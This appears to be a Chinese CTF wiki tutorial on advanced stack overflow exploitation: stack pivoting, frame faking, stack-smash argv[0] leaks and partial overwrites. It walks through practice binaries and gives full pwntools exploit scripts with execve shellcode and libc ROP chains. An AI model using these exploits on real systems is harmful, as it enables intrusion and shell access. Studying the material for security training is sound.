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花式栈溢出技巧

stack pivoting

原理

stack pivoting,正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 top 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求

  • 可以控制程序执行流。

  • 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是

pop rsp/esp

当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。上面的是正常的,下面的是偏移的。

gef  x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>:  pop    rbx
0x40061b <__libc_csu_init+91>:  pop    rbp
0x40061c <__libc_csu_init+92>:  pop    r12
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret    
gef  x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>:  pop    rsp
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret

此外,还有更加高级的 fake frame。

  • 存在可以控制内容的内存,一般有如下
  • bss 段。由于进程按页分配内存,分配给 bss 段的内存大小至少一个页(4k,0x1000)大小。然而一般bss段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。
  • heap。但是这个需要我们能够泄露堆地址。

示例

例1

这里我们以 X-CTF Quals 2016 - b0verfl0w 为例进行介绍。首先,查看程序的安全保护,如下

➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w                 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看出源程序为 32 位,也没有开启 NX 保护,下面我们来找一下程序的漏洞

signed int vul()
{
  char s; // [sp+18h] [bp-20h]@1

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

可以看出,源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode 并执行。基本利用思路如下

  • 利用栈溢出布置 shellcode
  • 控制 eip 指向 shellcode处

第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode处,并且直接控制程序跳转至 esp处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。

➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'         
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 3

这里我们发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下

shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp

那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道

  • size(shellcode+padding)=0x20
  • size(fake ebp)=0x4
  • size(0x08048504)=0x4

所以我们最后一段需要执行的指令就是

sub 0x28,esp
jmp esp

所以最后的 exp 如下

from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
    0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

例2-转移堆

待。

题目

  • EkoPartyCTF 2016 fuckzing-exploit-200

frame faking

正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流。

原理

概括地讲,我们在之前讲的栈溢出不外乎两种方式

  • 控制程序 EIP
  • 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下

buffer padding|fake ebp|leave ret addr|

即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

  • 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
  • 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。

下面的汇编语法是 AT&T 语法。

在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作

入口点

push ebp  # 将ebp压栈
move esp, ebp #将esp的值赋给ebp

出口点

leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址

其中 leave 指令相当于

move ebp, esp # 将ebp的值赋给esp
pop ebp #弹出ebp

下面我们来仔细说一下基本的控制过程。

  1. 在有栈溢出的程序执行 leave 时,其分为两个步骤

    • move ebp, esp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
    • pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp便指向了ebp2,也就是保存了 ebp2 所在的地址。
  2. 执行 ret 指令,会再次执行 leave ret 指令。

  3. 执行 leave 指令,其分为两个步骤

    • move ebp, esp ,这会将 esp 指向 ebp2。
    • pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
  4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行

    • push ebp,会将 ebp2 值压入栈中,

    • move esp, ebp,将 ebp 指向当前基地址。

此时的栈结构如下

ebp
|
v
ebp2|leave ret addr|arg1|arg2
  1. 当程序执行师,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。

  2. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。

可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。

例子

以 2018 年 6 月安恒杯月赛的 over 一题为例进行介绍, 题目可以在 ctf-challenge 中找到

文件信息

over.over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=99beb778a74c68e4ce1477b559391e860dd0e946, stripped
[*] '/home/m4x/pwn_repo/others_over/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
64 位动态链接的程序, 没有开 PIE 和 canary 保护, 但开了 NX 保护

分析程序

放到 IDA 中进行分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}

int sub_400676()
{
  char buf[80]; // [rsp+0h] [rbp-50h]

  memset(buf, 0, sizeof(buf));
  putchar('>');
  read(0, buf, 96uLL);
  return puts(buf);
}
漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了

leak stack

为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 '\0', rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了

Breakpoint 1, 0x00000000004006b9 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RBX  0x0
 RCX  0x7ff756e9b690 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x60
 RDI  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RSI  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 R8   0x7ff75715b760 (_IO_stdfile_1_lock) ◂— 0x0
 R9   0x7ff757354700 ◂— 0x7ff757354700
 R10  0x37b
 R11  0x246
 R12  0x400580 ◂— xor    ebp, ebp
 R13  0x7ffceaf112b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
 RSP  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RIP  0x4006b9 ◂— call   0x400530
─────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
  0x4006b9    call   puts@plt <0x400530>
        s: 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')

   0x4006be    leave
   0x4006bf    ret

   0x4006c0    push   rbp
   0x4006c1    mov    rbp, rsp
   0x4006c4    sub    rsp, 0x10
   0x4006c8    mov    dword ptr [rbp - 4], edi
   0x4006cb    mov    qword ptr [rbp - 0x10], rsi
   0x4006cf    mov    rax, qword ptr [rip + 0x20098a] <0x601060>
   0x4006d6    mov    ecx, 0
   0x4006db    mov    edx, 2
─────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000 rax rdi rsi rsp  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... 
───────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
  f 0           4006b9
   f 1           400715
   f 2     7ff756de02b1 __libc_start_main+241
Breakpoint *0x4006B9
pwndbg> stack 15
00:0000 rax rdi rsi rsp  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... 
0a:0050 rbp              0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
0b:0058                  0x7ffceaf111b8 —▸ 0x400715 ◂— test   eax, eax
0c:0060                  0x7ffceaf111c0 —▸ 0x7ffceaf112b8 —▸ 0x7ffceaf133db ◂— './over.over'
0d:0068                  0x7ffceaf111c8 ◂— 0x100000000
0e:0070                  0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
pwndbg> distance 0x7ffceaf111d0 0x7ffceaf11160
0x7ffceaf111d0->0x7ffceaf11160 is -0x70 bytes (-0xe words)

leak 出栈地址后, 我们就可以通过控制 rbp 为栈上的地址(如 0x7ffceaf11160), ret addr 为 leave ret 的地址来实现控制程序流程了, 比如我们可以在 0x7ffceaf11160 + 0x8 填上 leak libc 的 rop chain 并控制其返回到 sub_400676 函数来 leak libc, 然后在下一次利用时就可以通过 rop 执行 system("/bin/sh") 或 execve("/bin/sh", 0, 0)来 get shell 了, 这道题目因为输入的长度足够, 我们可以布置调用 execve("/bin/sh", 0, 0) 的利用链, 这种方法更稳妥(system("/bin/sh") 可能会因为 env 被破坏而失效), 不过由于利用过程中栈的结构会发生变化, 所以一些关键的偏移还需要通过多次调试来确定

exp

from pwn import *
context.binary = "./over.over"

def DEBUG(cmd):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
success("stack -> {:#x}".format(stack))


#  DEBUG("b *0x4006B9\nc")
io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))

pop_rdi_ret=0x400793
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0xf5279


payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])

io.sendafter(">", payload)

io.interactive()

总的来说这种方法跟 stack pivot 差别并不是很大

参考阅读

Stack smash

原理

在程序加了canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

例子

这里,我们以 2015 年 32C3 CTF smashes 为例进行介绍,该题目在 jarvisoj 上有复现。

确定保护

可以看出程序为 64 位,主要开启了 Canary 保护以及 NX 保护,以及 FORTIFY 保护。

➜  stacksmashes git:(master) ✗ checksec smashes
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

分析程序

ida 看一下

__int64 sub_4007E0()
{
  __int64 v0; // rax@1
  __int64 v1; // rbx@2
  int v2; // eax@3
  __int64 v4; // [sp+0h] [bp-128h]@1
  __int64 v5; // [sp+108h] [bp-20h]@1

  v5 = *MK_FP(__FS__, 40LL);
  __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
  LODWORD(v0) = _IO_gets((__int64)&v4);
  if ( !v0 )
LABEL_9:
    _exit(1);
  v1 = 0LL;
  __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v2 = _IO_getc(stdin);
    if ( v2 == -1 )
      goto LABEL_9;
    if ( v2 == '\n' )
      break;
    byte_600D20[v1++] = v2;
    if ( v1 == ' ' )
      goto LABEL_8;
  }
  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
  puts("Thank you, bye!");
  return *MK_FP(__FS__, 40LL) ^ v5;
}

很显然,程序在 _IO_gets((__int64)&v4); 存在栈溢出。

此外,程序中还提示要 overwrite flag。而且发现程序很有意思的在 while 循环之后执行了这条语句

  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

又看了看对应地址的内容,可以发现如下内容,说明程序的flag就在这里啊。

.data:0000000000600D20 ; char aPctfHereSTheFl[]
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0

但是如果我们直接利用栈溢出输出该地址的内容是不可行的,这是因为我们读入的内容 byte_600D20[v1++] = v2;也恰恰就是该块内存,这会直接将其覆盖掉,这时候我们就需要利用一个技巧了

  • 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find来进行查找。

确定 flag 地址

我们把断点下载 memset 函数处,然后读取相应的内容如下

gef  c
Continuing.
Hello!
What's your name? qqqqqqq
Nice to meet you, qqqqqqq.
Please overwrite the flag: 222222222

Breakpoint 1, __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:38
38  ../sysdeps/x86_64/multiarch/memset-avx2.S: 没有那个文件或目录.
─────────────────────────────────────[ code:i386:x86-64 ]────
   0x7ffff7b7f920 <__memset_chk_avx2+0> cmp    rcx, rdx
   0x7ffff7b7f923 <__memset_chk_avx2+3> jb     0x7ffff7b24110 <__GI___chk_fail>
   0x7ffff7b7f929                  nop    DWORD PTR [rax+0x0]
  0x7ffff7b7f930 <__memset_avx2+0> vpxor  xmm0, xmm0, xmm0
   0x7ffff7b7f934 <__memset_avx2+4> vmovd  xmm1, esi
   0x7ffff7b7f938 <__memset_avx2+8> lea    rsi, [rdi+rdx*1]
   0x7ffff7b7f93c <__memset_avx2+12> mov    rax, rdi
───────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffda38', 'l8']
8
0x00007fffffffda38│+0x00: 0x0000000000400878     mov edi, 0x40094e   $rsp
0x00007fffffffda40│+0x08: 0x0071717171717171 ("qqqqqqq"?)
0x00007fffffffda48│+0x10: 0x0000000000000000
0x00007fffffffda50│+0x18: 0x0000000000000000
0x00007fffffffda58│+0x20: 0x0000000000000000
0x00007fffffffda60│+0x28: 0x0000000000000000
0x00007fffffffda68│+0x30: 0x0000000000000000
0x00007fffffffda70│+0x38: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7b7f930 → Name: __memset_avx2()
[#1] 0x400878 → mov edi, 0x40094e
──────────────────────────────────────────────────────────────────────────────
gef  find 22222
Argument required (expression to compute).
gef  find '22222'
No symbol "22222" in current context.
gef  grep '22222'
[+] Searching '22222' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x600000-0x601000), permission=rw-
  0x600d20 - 0x600d3f     "222222222's the flag on server}" 
[+] In '[heap]'(0x601000-0x622000), permission=rw-
  0x601010 - 0x601019     "222222222" 
gef  grep PCTF
[+] Searching 'PCTF' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x400000-0x401000), permission=r-x
  0x400d20 - 0x400d3f     "PCTF{Here's the flag on server}" 

可以看出我们读入的 2222 已经覆盖了 0x600d20 处的 flag,但是我们在内存的 0x400d20 处仍然找到了这个flag的备份,所以我们还是可以将其输出。这里我们已经确定了 flag 的地址。

确定偏移

下面,我们确定 argv[0] 距离读取的字符串的偏移。

首先下断点在 main 函数入口处,如下

gef  b *0x00000000004006D0
Breakpoint 1 at 0x4006d0
gef  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes 

Breakpoint 1, 0x00000000004006d0 in ?? ()
 code:i386:x86-64 ]────
     0x4006c0 <_IO_gets@plt+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <_IO_gets@got.plt>
     0x4006c6 <_IO_gets@plt+6> push   0x9
     0x4006cb <_IO_gets@plt+11> jmp    0x400620
    0x4006d0                  sub    rsp, 0x8
     0x4006d4                  mov    rdi, QWORD PTR [rip+0x200665]        # 0x600d40 <stdout>
     0x4006db                  xor    esi, esi
     0x4006dd                  call   0x400660 <setbuf@plt>
──────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb78', 'l8']
8
0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830    <__libc_start_main+240> mov edi, eax     $rsp
0x00007fffffffdb80│+0x08: 0x0000000000000000
0x00007fffffffdb88│+0x10: 0x00007fffffffdc58    0x00007fffffffe00b    "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]"
0x00007fffffffdb90│+0x18: 0x0000000100000000
0x00007fffffffdb98│+0x20: 0x00000000004006d0     sub rsp, 0x8
0x00007fffffffdba0│+0x28: 0x0000000000000000
0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3
0x00007fffffffdbb0│+0x38: 0x00000000004006ee     xor ebp, ebp
──────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x4006d0 → sub rsp, 0x8
[#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48)
---Type <return> to continue, or q <return> to quit---
[#2] 0x400717 → hlt 

可以看出 0x00007fffffffe00b 指向程序名,其自然就是 argv[0],所以我们修改的内容就是这个地址。同时0x00007fffffffdc58 处保留着该地址,所以我们真正需要的地址是 0x00007fffffffdc58。

此外,根据汇编代码

.text:00000000004007E0                 push    rbp
.text:00000000004007E1                 mov     esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? "
.text:00000000004007E6                 mov     edi, 1
.text:00000000004007EB                 push    rbx
.text:00000000004007EC                 sub     rsp, 118h
.text:00000000004007F3                 mov     rax, fs:28h
.text:00000000004007FC                 mov     [rsp+128h+var_20], rax
.text:0000000000400804                 xor     eax, eax
.text:0000000000400806                 call    ___printf_chk
.text:000000000040080B                 mov     rdi, rsp
.text:000000000040080E                 call    __IO_gets

我们可以确定我们读入的字符串的起始地址其实就是调用 __IO_gets 之前的 rsp,所以我们把断点下在 call 处,如下

gef  b *0x000000000040080E
Breakpoint 2 at 0x40080e
gef  c
Continuing.
Hello!
What's your name? 
Breakpoint 2, 0x000000000040080e in ?? ()
──────────────────────────[ code:i386:x86-64 ]────
     0x400804                  xor    eax, eax
     0x400806                  call   0x4006b0 <__printf_chk@plt>
     0x40080b                  mov    rdi, rsp
    0x40080e                  call   0x4006c0 <_IO_gets@plt>
       0x4006c0 <_IO_gets@plt+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <_IO_gets@got.plt>
        0x4006c6 <_IO_gets@plt+6> push   0x9
        0x4006cb <_IO_gets@plt+11> jmp    0x400620
        0x4006d0                  sub    rsp, 0x8
──────────────────[ stack ]────
['0x7fffffffda40', 'l8']
8
0x00007fffffffda40│+0x00: 0x0000ff0000000000      $rsp, $rdi
0x00007fffffffda48│+0x08: 0x0000000000000000
0x00007fffffffda50│+0x10: 0x0000000000000000
0x00007fffffffda58│+0x18: 0x0000000000000000
0x00007fffffffda60│+0x20: 0x0000000000000000
0x00007fffffffda68│+0x28: 0x0000000000000000
0x00007fffffffda70│+0x30: 0x0000000000000000
0x00007fffffffda78│+0x38: 0x0000000000000000
────────────────────────────────────────────[ trace ]────
[#0] 0x40080e → call 0x4006c0 <_IO_gets@plt>
──────────────────────────────────────────────────────────
gef  print $rsp
$1 = (void *) 0x7fffffffda40

可以看出rsp的值为0x7fffffffda40,那么相对偏移为

>>> 0x00007fffffffdc58-0x7fffffffda40
536
>>> hex(536)
'0x218'

利用程序

我们构造利用程序如下

from pwn import *
context.log_level = 'debug'
smash = ELF('./smashes')
if args['REMOTE']:
    sh = remote('pwn.jarvisoj.com', 9877)
else:
    sh = process('./smashes')
argv_addr = 0x00007fffffffdc58
name_addr = 0x7fffffffda40
flag_addr = 0x600D20
another_flag_addr = 0x400d20
payload = 'a' * (argv_addr - name_addr) + p64(another_flag_addr)
sh.recvuntil('name? ')
sh.sendline(payload)
sh.recvuntil('flag: ')
sh.sendline('bb')
data = sh.recv()
sh.interactive()

这里我们直接就得到了 flag,没有出现网上说的得不到 flag 的情况。

题目

栈上的 partial overwrite

partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想

我们知道, 在程序开启了 PIE 保护时 (PIE enabled) 高位的地址会发生随机化, 但低位的偏移是始终固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护

例子

以安恒杯 2018 年 7 月月赛的 babypie 为例分析这一种利用技巧, 题目的 binary 放在了 ctf-challenge

确定保护

babypie: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77a11dbd367716f44ca03a81e8253e14b6758ac3, stripped
[*] '/home/m4x/pwn_repo/LinkCTF_2018.7_babypie/babypie'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
64 位动态链接的文件, 开启了 PIE 保护和栈溢出保护

分析程序

IDA 中看一下, 很容易就能发现漏洞点, 两处输入都有很明显的栈溢出漏洞, 需要注意的是在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了

__int64 sub_960()
{
  char buf[40]; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  *(_OWORD *)buf = 0uLL;
  *(_OWORD *)&buf[16] = 0uLL;
  puts("Input your Name:");
  read(0, buf, 0x30uLL);                        // overflow
  printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]);
  read(0, buf, 0x60uLL);                        // overflow
  return 0LL;
}

同时也发现程序中给了能直接 get shell 的函数

.text:0000000000000A3E getshell        proc near
.text:0000000000000A3E ; __unwind { .text:0000000000000A3E                 push    rbp
.text:0000000000000A3F                 mov     rbp, rsp
.text:0000000000000A42                 lea     rdi, command    ; "/bin/sh"
.text:0000000000000A49                 call    _system
.text:0000000000000A4E                 nop
.text:0000000000000A4F                 pop     rbp
.text:0000000000000A50                 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell        endp
这样我们只要控制 rip 到该函数即可

leak canary

在第一次 read 之后紧接着就有一个输出, 而 read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会, 为了第二次溢出能控制返回地址, 我们选择 leak canary. 可以计算出第一次 read 需要的长度为 0x30 - 0x8 + 1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了)

Breakpoint 1, 0x0000557c8443aa08 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7f1898a64690 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x30
 RDI  0x557c8443ab15 ◂— insb   byte ptr [rdi], dx /* 'Hello %s:\n' */
 RSI  0x7ffd97aa0410 ◂— 0x6161616161616161 ('aaaaaaaa')
 R8   0x7f1898f1d700 ◂— 0x7f1898f1d700
 R9   0x7f1898f1d700 ◂— 0x7f1898f1d700
 R10  0x37b
 R11  0x246
 R12  0x557c8443a830 ◂— xor    ebp, ebp
 R13  0x7ffd97aa0540 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffd97aa0440 —▸ 0x7ffd97aa0460 —▸ 0x557c8443aa80 ◂— push   r15
 RSP  0x7ffd97aa0410 ◂— 0x6161616161616161 ('aaaaaaaa')
 RIP  0x557c8443aa08 ◂— call   0x557c8443a7e0
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
  0x557c8443aa08    call   0x557c8443a7e0

   0x557c8443aa0d    lea    rax, [rbp - 0x30]
   0x557c8443aa11    mov    edx, 0x60
   0x557c8443aa16    mov    rsi, rax
   0x557c8443aa19    mov    edi, 0
   0x557c8443aa1e    call   0x557c8443a7f0

   0x557c8443aa23    mov    eax, 0
   0x557c8443aa28    mov    rcx, qword ptr [rbp - 8]
   0x557c8443aa2c    xor    rcx, qword ptr fs:[0x28]
   0x557c8443aa35    je     0x557c8443aa3c

   0x557c8443aa37    call   0x557c8443a7c0
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsi rsp  0x7ffd97aa0410 ◂— 0x6161616161616161 ('aaaaaaaa')
... 
05:0028│          0x7ffd97aa0438 ◂— 0xb3012605fc402a61
06:0030│ rbp      0x7ffd97aa0440 —▸ 0x7ffd97aa0460 —▸ 0x557c8443aa80 ◂— push   r15
07:0038│          0x7ffd97aa0448 —▸ 0x557c8443aa6a ◂— mov    eax, 0
Breakpoint *(0x557c8443a000+0xA08)
pwndbg> canary
$1 = 0
canary : 0xb3012605fc402a00
pwndbg>

canary 在 rbp - 0x8 的位置上, 可以看出此时 canary 的低位已经被覆盖为 0x61, 这样只要接收 'a' * (0x30 - 0x8 + 1) 后的 7 位, 再加上最低位的 '\0', 我们就恢复出程序的 canary 了

覆盖返回地址

有了 canary 后, 就可以通过第二次的栈溢出来改写返回地址了, 控制返回地址到 getshell 函数即可, 我们先看一下没溢出时的返回地址

0x000055dc43694a1e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 RAX  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 RBX  0x0
 RCX  0x7f206c6696f0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x60
 RDI  0x0
 RSI  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 R8   0x7f206cb22700 ◂— 0x7f206cb22700
 R9   0x3e
 R10  0x73
 R11  0x246
 R12  0x55dc43694830 ◂— xor    ebp, ebp
 R13  0x7fff9aa3b050 ◂— 0x1
 R14  0x0
 R15  0x0
